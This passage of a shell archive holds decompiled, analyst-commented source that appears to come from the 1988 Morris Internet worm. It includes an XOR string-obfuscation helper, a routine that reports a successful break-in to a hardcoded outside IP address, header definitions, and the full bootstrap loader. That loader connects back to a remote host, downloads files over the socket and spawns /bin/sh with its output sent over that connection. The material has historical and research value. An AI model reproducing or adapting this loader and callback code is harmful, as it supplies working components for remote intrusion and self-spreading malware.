h_clean(); - if (pleasequit && nextw > 0) - exit(0); - } -} - -static trans_cnt; -static char trans_buf[NCARGS]; - -char *XS(str1) /* 0x23fc */ - char *str1; -{ - int i, len; - char *newstr; -#ifndef ENCYPHERED_STRINGS - return str1; -#else - len = strlen(str1); - if (len + 1 > NCARGS - trans_cnt) - trans_cnt = 0; - newstr = &trans_buf[trans_cnt]; - trans_cnt += 1 + len; - for (i = 0; str1[i]; i++) - newstr[i] = str1[i]^0x81; - newstr[i] = '\0'; - return newstr; -#endif -} - -/* This report a sucessful breakin by sending a single byte to "128.32.137.13" - * (whoever that is). */ - -static report_breakin(arg1, arg2) /* 0x2494 */ -{ - int s; - struct sockaddr_in sin; - char msg; - - if (7 != random() % 15) - return; - - bzero(&sin, sizeof(sin)); - sin.sin_family = AF_INET; - sin.sin_port = REPORT_PORT; - sin.sin_addr.s_addr = inet_addr(XS("128.32.137.13")); /* "128.32.137.13" */ - - s = socket(AF_INET, SOCK_STREAM, 0); - if (s < 0) - return; - if (sendto(s, &msg, 1, 0, &sin, sizeof(sin))) - ; - close(s); -} - -/* End of first file in the original source. - * (Indicated by extra zero word in text area.) */ - -/* - * Local variables: - * compile-command: "make" - * comment-column: 48 - * End: - */ //GO.SYSIN DD worm.c echo worm.h 1>&2 sed 's/^-//' >worm.h <<'//GO.SYSIN DD worm.h' -/* Magic numbers the program uses to identify other copies of itself. */ - -#define REPORT_PORT 0x2c5d -#define MAGIC_1 0x00148898 -#define MAGIC_2 0x00874697 -extern int pleasequit; /* This stops the program after one - * complete pass if set. It is incremented - * inside of checkother if contact with another - * happens. */ - -/* There are pieces of "stub" code, presumably from something like this to - get rid of error messages */ -#define error() - -/* This appears to be a structure unique to this program. It doesn't seem that - * the blank slots are really an array of characters for the hostname, but maybe - * they are. - */ -struct hst { - char *hostname; - int l4, l8, l12, l16, l20, l24, o28, o32, o36, o40, o44; - int o48[6]; /* used */ - int flag; /* used */ -#define HST_HOSTEQUIV 8 -#define HST_HOSTFOUR 4 -#define HST_HOSTTWO 2 - struct hst *next; /* o76 */ -}; - -typedef struct { - char *name; - unsigned long size; - char *buf; -} object; - -extern struct ifses { - int if_l0, if_l4, if_l8, if_l12; /* unused */ - int if_l16; /* used */ - int if_l20; /* unused */ - int if_l24; /* used */ - short if_l28; /* unused */ -} ifs[]; -extern nifs; - -extern int ngateways; - -extern object objects[], *getobjectbyname(); -extern int nobjects; - -/* Only used for a2in(). Why? I don't know. */ -struct bar {int baz;}; -extern struct bar *a2in(); - //GO.SYSIN DD worm.h echo x8113550.c 1>&2 sed 's/^-//' >x8113550.c <<'//GO.SYSIN DD x8113550.c' -#include -#include -#include -#include - -main(argc, argv) -char *argv[]; -{ - struct sockaddr_in sin; - int s, i, magic, nfiles, j, len, n; - FILE *fp; - char files[20][128]; - char buf[2048], *p; - - unlink(argv[0]); - if(argc != 4) - exit(1); - for(i = 0; i < 32; i++) - close(i); - i = fork(); - if(i < 0) - exit(1); - if(i > 0) - exit(0); - - bzero(&sin, sizeof(sin)); - sin.sin_family = AF_INET; - sin.sin_addr.s_addr = inet_addr(argv[1]); - sin.sin_port = htons(atoi(argv[2])); - magic = htonl(atoi(argv[3])); - - for(i = 0; i < argc; i++) - for(j = 0; argv[i][j]; j++) - argv[i][j] = '\0'; - - s = socket(AF_INET, SOCK_STREAM, 0); - if(connect(s, &sin, sizeof(sin)) < 0){ - perror("l1 connect"); - exit(1); - } - dup2(s, 1); - dup2(s, 2); - - write(s, &magic, 4); - - nfiles = 0; - while(1){ - if(xread(s, &len, 4) != 4) - goto bad; - len = ntohl(len); - if(len == -1) - break; - - if(xread(s, &(files[nfiles][0]), 128) != 128) - goto bad; - - unlink(files[nfiles]); - fp = fopen(files[nfiles], "w"); - if(fp == 0) - goto bad; - nfiles++; - - while(len > 0){ - n = sizeof(buf); - if(n > len) - n = len; - n = read(s, buf, n); - if(n <= 0) - goto bad; - if(fwrite(buf, 1, n, fp) != n) - goto bad; - len -= n; - } - fclose(fp); - } - - execl("/bin/sh", "sh", 0); -bad: - for(i = 0; i < nfiles; i++) - unlink(files[i]); - exit(1); -} - -static -xread(fd, buf, n) -char *buf; -{ - int cc, n1; - - n1 = 0; - while(n1 < n){ - cc = read(fd, buf, n - n1); - if(cc <= 0) - return(cc); - buf += cc; - n1 += cc; - } - return(n1); -} -int zz; //GO.SYSIN DD x8113550.c exit